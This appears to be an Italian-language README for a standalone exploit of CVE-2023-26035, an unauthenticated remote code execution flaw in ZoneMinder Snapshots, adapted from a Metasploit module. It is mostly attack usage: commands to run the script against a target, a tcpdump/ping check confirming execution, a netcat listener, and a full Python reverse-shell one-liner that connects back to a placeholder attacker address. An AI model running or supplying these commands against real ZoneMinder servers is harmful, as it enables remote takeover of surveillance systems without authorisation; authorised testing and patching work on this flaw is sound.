
Exploit per CVE-2023-26035 che colpisce ZoneMinder < 1.36.33 e < 1.37.33
Esiste una Esecuzione di codice in remoto non autenticata (RCE) che colpisce gli Snapshot di ZoneMinder.
Questo è un exploit per CVE-2023-26035.
ZoneMinder < 1.36.33 e
ZoneMinder < 1.37.33.

python3 zoneminder.py http://target
python3 zoneminder.py http://target command
pingEsegui tcpdump sull'interfaccia connessa al target (qui tun0) e filtra per pacchetti ICMP:
sudo tcpdump -i tun0 icmp
Quindi esegui un ping verso il tuo IP. Assicurati di usare le virgolette " altrimenti il comando non verrà interpretato correttamente.
python3 zoneminder.py http://target "ping -C 4 your_ip"
Crea il listener con netcat:
nc -lvnp 1337
Usa un one-liner di reverse shell:
python3 zoneminder.py http://TARGET "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"YOUR_IP\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'"
Maggiori informazioni su https://revshells.com.
L'exploit utilizza requests e BeautifulSoup.
Installalo con:
python3 -m pip install requests beautifulsoup4
Volevo solo un exploit autonomo che non richiedesse Metasploit.
Lo script è derivato da https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/zoneminder_snapshots.rb